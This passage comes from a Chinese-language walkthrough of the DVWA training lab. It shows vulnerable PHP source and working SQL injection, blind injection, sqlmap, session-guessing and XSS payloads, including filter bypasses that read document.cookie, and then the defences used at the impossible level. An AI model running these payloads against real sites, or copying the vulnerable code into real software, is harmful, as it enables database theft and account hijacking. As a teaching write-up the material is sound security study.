$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?>
1
mysqli_real_escape_string(connection,escapestring);

connection:必需。规定要使用的 MySQL 连接。

escapestring:必需。要转义的字符串。编码的字符是 NUL(ASCII 0)、\n、\r、\、’、” 和 Control-Z。

medium难度下从GET传参标称了POST传参,使用了mysqli_real_escape_string()对id参数进行过滤特殊符号,闭合方式从单引号变成直接拼接到SQL语句中,同时在前端使用了下拉选择表单,希望能够控制用户输入,但是我们仍可以通过抓包改包的形式绕过。

注入语句:

1
-1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users#

image-20210225102716073

image-20210225102524569

High

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

high难度下使用了session来传递id参数,然后也没有进行检查过滤,仅仅在查询语句加上limit 1限制输出一个数据,但我们可以直接使用#进行截断,把后面的语句注释掉。同时我们发现查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

1
' union select group_concat(user_id,first_name,last_name),group_concat(password) from users#

image-20210225103339276

Impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();

// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

impossible难度下,首先加入了token方式CSRF攻击,然后对输入的id参数判断是否为数字,在通过预编译语句将查询代码和输入的数据分开,那么就无法进行SQL注入,同时在输出的数量为一时才能够显示,有效防止了脱库。

SQL Injection(Blind) SQL 盲注

SQL盲注-测试思路

  1. 对于基于布尔的盲注,可通过构造真or假判断条件(数据库各项信息取值的大小比较,如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码…),将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果(True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<–>False发生变化的转折点。
  2. 对于基于时间的盲注,通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。

Low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

low难度的盲注同样是对id不做任何检查过滤就直接拼接查询语句,但是它不会返回报错,指挥显示ID存在还是不存在,也就说要进行盲注。

1、判断是否存在SQL盲注

1
2
1' and 1 = 1#      存在
1' and 1 = 2# 不存在

存在字符型的SQL盲注

2、猜测数据库的名称

数据库名称的属性:字符长度、字符组成的元素(字母/数字/下划线/…)&元素的位置(首位/第2位/…/末位)

  1. 判断数据库名称的长度
1
2
3
4
1' and length(database())>10#   不存在
1' and length(database())>5# 不存在
1' and length(database())>3# 存在
1' and length(database())=4# 存在

得出数据库名字的长度为4

  1. 判断数据库名字
1
substr(string string,num start,num length);

string为字符串;start为起始位置(从1开始算);length为长度。

字符 ASCII码-10进制 字符 ASCII码-10进制
a 97 ==> z 122
A 65 ==> Z 90
0 48 ==> 9 57
_ 95 @ 64

根据上表,常见的字符ascii码范围是[48,122],于是可以构造语句:

1
2
3
4
5
6
7
1' and ascii(substr(database(),1,1))>85#	存在
1' and ascii(substr(database(),1,1))>104# 不存在
1' and ascii(substr(database(),1,1))>95# 存在
1' and ascii(substr(database(),1,1))>100# 不存在
1' and ascii(substr(database(),1,1))>98# 存在
1' and ascii(substr(database(),1,1))>99# 存在
1' and ascii(substr(database(),1,1))=100# 存在

得出数据库名字第一个字符的ascii码为100,即是字母d ,以此类推查询出数据库名字所有的字符,得到数据库名字为dvwa。

3、猜测数据库的表名

数据表属性:指定数据库下表的个数、每个表的名称(表名长度,表名组成元素)

  1. 猜测表的个数
1
2
3
4
5
6
1' and (select count(table_name) from information_schema.tables where table_schema=database())>10#	不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())>5# 不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())>3# 不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())>2# 不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())>1# 存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2# 存在

得知该数据库有2张表

  1. 猜解表名的长度
1
2
3
4
5
6
7
8
9
10
# 1.查询列出当前连接数据库下的所有表名称
select table_name from information_schema.tables where table_schema=database()
# 2.列出当前连接数据库中的第1个表名称
select table_name from information_schema.tables where table_schema=database() limit 0,1
# 3.以当前连接数据库第1个表的名称作为字符串,从该字符串的第一个字符开始截取其全部字符
substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)
# 4.计算所截取当前连接数据库第1个表名称作为字符串的长度值
length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))
# 5.将当前连接数据库第1个表名称长度与某个值比较作为判断条件,联合and逻辑构造特定的sql语句进行查询,根据查询返回结果猜解表名称的长度值
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #

继续利用二分法得知表的长度为9

  1. 猜测表名

依次取出dvwa数据库第1个表的第1/2/…/9个字符分别猜解:

1
2
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #
......

以此类推得知dvwa数据库的第一张表名字为guestbook,然后以同样的方法可知第二张表名为users

4、猜解表中的字段名

表中的字段名属性:表中的字段数目、某个字段名的字符长度、字段的字符组成及位置;某个字段名全名匹配

  1. 猜解users表中字段个数
1
2
3
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>10 #	不存在
......
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 # 存在

得知users表中的字段数为8

  1. 猜解users表中字段的长度
1
2
3
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))>10#	不存在
.......
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7# 存在

得知users表的第一个字段的长度为7

  1. 猜解users表中字段的名字
1
2
3
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>88#		不存在
......
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=117# 存在

得知user表中第一个字段的第一个字符的ascii码为177,也就是 u ,以此类推可知所有的字段名。

5、猜解表中的字段值

  1. 猜解users表中有多少条数据
1
2
3
1' and (select count(*) from users)>10 #	不存在
......
1' and (select count(*) from users)=5 # 存在

得知users表中有5条数据

  1. 猜解users表中字段值的长度
1
2
3
1' and length(substr((select user from users limit 0,1),1))>10 #	不存在
......
1' and length(substr((select user from users limit 0,1),1))=5 # 存在

user表中的user字段的第一个值的长度为5

  1. 猜解users表中字段值
1
2
3
1' and ascii(substr((select user from users limit 0,1),1,1))>88 #	不存在
......
1' and ascii(substr((select user from users limit 0,1),1,1))=97 # 存在

得知users表中user字段的第一个值的第一个字符的ascii码为97,也就是 a ,以此类推可以知道users表中所有字段的所有值。

同样地,我们也可是使用基于时间盲注的方法进行攻击,基本的利用方法为:

1
1' and if(length(database())>10,sleep(5),1)#

意思是如果当前数据库名字的长度大于10的话,就沉睡5秒再输出,否则就就直接输出。

我们可以根据返回结果的时间长短来判断正确与否,与布尔盲注大同小异。

SQLMAP

我们还能利用神器sqlmap进行全自动化注入

1
python sqlmap.py -u 'http://127.0.0.1/vulnerabilities/sqli_blind/?id=1&Submit=Submit#' --cookie='PHPSESSID=v2h8j395mf266fhtrgp39sarj5; security=low'

image-20210225155815130

检测出来存在布尔盲注和时间盲注,然后就可以查库

1
python .\sqlmap.py -u 'http://127.0.0.1/vulnerabilities/sqli_blind/?id=1&Submit=Submit#' --cookie='PHPSESSID=v2h8j395mf266fhtrgp39sarj5; security=low' -dbs

image-20210225160218495

得到2个库,然后表

1
python .\sqlmap.py -u 'http://127.0.0.1/vulnerabilities/sqli_blind/?id=1&Submit=Submit#' --cookie='PHPSESSID=v2h8j395mf266fhtrgp39sarj5; security=low' -D dvwa --tables

image-20210225160309529

得到2个表,然后查字段名称

1
python .\sqlmap.py -u 'http://127.0.0.1/vulnerabilities/sqli_blind/?id=1&Submit=Submit#' --cookie='PHPSESSID=v2h8j395mf266fhtrgp39sarj5; security=low' -D dvwa -T users --columns

image-20210225160441363

可见有8个字段,每个字段的类型也一目了然,最后查字段的值

1
python .\sqlmap.py -u 'http://127.0.0.1/vulnerabilities/sqli_blind/?id=1&Submit=Submit#' --cookie='PHPSESSID=v2h8j395mf266fhtrgp39sarj5; security=low' -D dvwa -T users --dump

image-20210225160839481

可见users表的所有数据被展示出来,并且通过内置的字典对md5加密后的password也解密了出来。

Medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

//mysql_close();
}

?>

medium难度的防御措施和普通SQL注入medium难度的防御措施相同,都是通过POST方法提交数据,然后使用mysqli_real_escape_string()**函数对特殊字符进行转义,最后在前端页面使用下拉选项的方式希望控制用户的输入。那么同样的我们也可以对其进行截包改包即可,值得说明的是,由于mysqli_real_escape_string()**函数对 ' 号进行了转义,因此我们输入库名、标名和字段名的时候用不了 ' ,可以使用16进制转换,如:users进行16进制转换为0x7573657273

1
1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273)=8 #

同样的,我们也可以利用神器sqlmap进行注入,由于是POST提交数据,这里的方法与GET的有一点不同

1
python sqlmap.py -u 'http://127.0.0.1/vulnerabilities/sqli_blind/' --data='id=1&Submit=Submit' --cookie='PHPSESSID=6i0aksqtatmj3o2evev1ca8j67; security=medium'

image-20210225162921323

之后的利用方法和low难度的一样。

High

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}

// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

可以看到,High难度的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。但同样可以利用 # 进行截断。

利用方法和low等级的没有区别。。

image-20210225165844343

同样,sqlmap也能进行盲注

1
python sqlmap.py -u 'http://127.0.0.1/vulnerabilities/sqli_blind/'  --cookie='id=1*; PHPSESSID=36ns8h56n1opudss4b5tpom151; security=high'

image-20210225205200764

Impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$id = $_GET[ 'id' ];

// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();

// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

impossible和普通SQL注入一样,加入了token防止CSRF攻击,对输入的id参数检查是否是数字的同时使用预编译技术将查询语句和参数分开,有效防止了sql注入,最后当查询结果只有1条的时候才输出,防止了脱库。

Weak Session IDs 脆弱的Session

Low

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>

low级别的 dvwaSession 的值每次生成就 +1 ,当last_session_id不存在时就置0,这样攻击者很容易就通过遍历 dvwaSession 的值来获取用户信息。同时这种设置会造成 dvwaSession 不唯一,容易发生冲突。

利用方法:这里是模拟攻击者猜中了session

首先我们以 1337 用户的身份登陆dvwa,截包可以发现此时的dvwaSession为5

image-20210225212215294

复制这一段cookie,在另一个页面以admin账号登陆dvwa,然后使用hackbar,填入复制过来的cookie,然后执行

image-20210225212434480

神奇的发现,此时的登陆用户换成了1337。

image-20210225212527529

Medium

1
2
3
4
5
6
7
8
9
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
setcookie("dvwaSession", $cookie_value);
}
?>

image-20210225214704979

在medium难度下使用当前时间的时间戳做为dvwaSession,这种sesssion也很容易被猜到,利用方法都是跟low难度下的一样,只要猜到了session就能够以受害者的身份登陆系统。

High

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}

?>
1
setcookie ( string `$name` , string `$value` = "" , int `$expires` = 0 , string `$path` = "" , string `$domain` = "" , bool `$secure` = `false` , bool `$httponly` = `false` ) : bool

setcookie() 定义了 Cookie,会和剩下的 HTTP 头一起发送给客户端。

name:Cookie 名称;value:Cookie 值;expires:Cookie 的过期时间;path:Cookie 有效的服务器路径;domain:Cookie 的有效域名/子域名。secure:设置这个 Cookie 是否仅仅通过安全的 HTTPS 连接传给客户端;httponly:设置成 **true**,Cookie 仅可通过 HTTP 协议访问。

high难度下仅仅多做了一件事,把本来+1递增的dvwaSession多了一层md5加密,同时设置了session有效时间为当前时间+3600秒,有效范围和安全性的内容。

image-20210225215848498

我们把拿到的 dvwaSession=a87ff679a2f3e71d9181a67b7542122c 放到md5解密网站上查询,既能够得到结果。

image-20210225220024281

Impossible

1
2
3
4
5
6
7
8
9
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = sha1(mt_rand() . time() . "Impossible");
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>

sha1() : 计算字符串的 sha1 散列值

mt_rand() : 生成随机数

impossible难度下dvwaSession的值是 随机数.时间戳.'impossible'的散射值,不存在规律,因此也无法通过遍历或者猜测进行破解。同时对setcookie()函数中的2个安全有关的属性设置为true,防止了XSS攻击。

image-20210225220654407

XSS (DOM) DOM型跨站脚本

Low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<div class="vulnerable_code_area">

<p>Please choose a language:</p>

<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}

document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
</div>

DOM XSS 是通过修改页面的 DOM 节点形成的 XSS。首先通过选择语言,然后往页面中创建了新的 DOM 节点。low级别对输入的内容没有任何检查,这里的 lang 变量通过 document.location.href 来获取到,并且没有任何过滤就直接URL解码后输出在了option标签中,利用方法直接构造URL即可:

1
/vulnerabilities/xss_d/?default=<script>alert(1)</script>

image-20210226101309862

Medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];

# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}

?>

medium难度的首先对传入的default变量进行了检查,看是否存在,如果存在的话就查看其内容是否包含<script字符串,如果包含该字符串的话就将URL后面的参数修改为?default=English

攻击方法:

1、闭合option标签再注入

闭合</option></select>,然后使用img标签通过事件来弹窗

1
/vulnerabilities/xss_d/?default=English</option></select><img src='x' onerror=alert(document.cookie)>

image-20210226104815983

2、利用参数

因为在网页端是截取 url ,而服务器读的是也只是 default 这个变量,那我们可以传一个不是default的参数进去即可。

1
/vulnerabilities/xss_d/?default=English&&script=<script>alert(document.cookie)</script>

image-20210226105453910

3、利用#截断

由于URL中 # 字符后面的内容是不会被发送到后端的,因此可以绕过后端的检测

1
/vulnerabilities/xss_d/?default=English#<script>alert(document.cookie)</script>

image-20210226105719071

4、使用input标签

使用input标签一样可以弹窗

1
/vulnerabilities/xss_d/?default=English<input onclick=alert('XSS') />

页面加载完成后,点击input输入框就会触发点击事件弹窗

image-20210226112145534

High

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}

?>

high难度下对传进来的default参数进行了限制,当只有是指定的4种字符才能够输出,否则就设置为默认英文。但是这种显示和medium难度的几乎没有区别,仅仅是对传进来的default做了检查,当我们传的不是default参数,或者根本没有传参数的时候无效。这里只演示使用 #截断的方法。使用 && 传两个参数同理。

image-20210226112332244

Impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<div class="vulnerable_code_area">

<p>Please choose a language:</p>

<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + (lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}

document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
</div>

Impossible 难度直接不对我们的输入参数进行 URL 解码了,这样会导致标签失效,从而无法XSS。

XSS (Reflected) 反射型跨站脚本

Low

1
2
3
4
5
6
7
8
9
10
11
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

X-XSS-Protection:是Chrome 和 Safari 的一项功能,可在检测到反射的跨站点脚本XSS攻击时阻止页面加载。

​ 0: 禁止XSS过滤.

​ 1: 启用 XSS 过滤(通常在浏览器中默认):如果检测到跨站点脚本攻击,浏览器将清理页面(删除不安全的部分)。

low难度把浏览器的XSS保护设置关闭了,并且对输出的name参数不做任何检查就输出。

1
<script>alert(document.cookie)</script>

image-20210226113524070

Medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

medium难度过滤掉了 <script> 标签,绕过的方法很多:

1、双写绕过

1
<scr<script>ipt>alert(document.cookie)</script>

image-20210226113944901

2、使用其他标签

1
<img src='x' onerror=alert(document.cookie)>

image-20210226114039334

3、大小写绕过

1
<SCRIPT>alert(document.cookie)</SCRIPT>

image-20210226114133929

High

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

?>

high难度的过滤规则完善了些,不区分大小写并且不能使用双写,那么我们仍可以使用其他标签进行来达到效果。

1
<img src='x' onerror=alert(document.cookie)>

image-20210226114538410

Impossible

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

htmlspecialchars() : 将特殊字符转换为 HTML 实体

impossible难度下加入了token防止CSRF攻击,还使用了htmlspecialchar函数对输入的特殊字符转化为HTML实体,也就是我们输入的HTML标签都不会被解析,因此不会构成XSS攻击。

XSS (Stored) 存储型跨站脚本

Low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

**trim(string,charlist)**:函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符。

**stripslashes(string)**:函数删除字符串中的反斜杠\

**mysql_real_escape_string(string,connection)**:函数会对字符串中的特殊符号(\x00,\n,\r,\,’,”,\x1a)进行转义。

low难度下,对输入的内容没有做任何检查,直接存储在数据库中。利用方法:直接在message栏中输入:(在name栏同理,但是在前端对输入的字数做了限制,只需在页面审查元素那里把长度限制去除后在输入提交即可)

1
<script>alert(document.cookie)</script>

image-20210226151224778

每一次成功后记得重置一下数据库,否则每次刷新都会弹窗。

Medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

strip_tags() :函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用<b>标签。

**addslashes()**:函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。

htmlspecialchars() : 将特殊字符转换为 HTML 实体

medium难度下,对massage做了严格的检查限制,去除了HTML标签之后又把HTML标签实体化,导致无法从message进行XSS攻击,但是对name变量的检查仅仅是把<script>标签替换为空字符,容易被绕过:

1、双写绕过

1
<scr<script>ipt>alert(document.cookie)</script>

image-20210226152230984

2、大小写绕过

1
<SCRIPT>alert(document.cookie)</SCRIPT>

3、使用其他标签

1
<img src=x onerror=alert('XSS')>

High

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
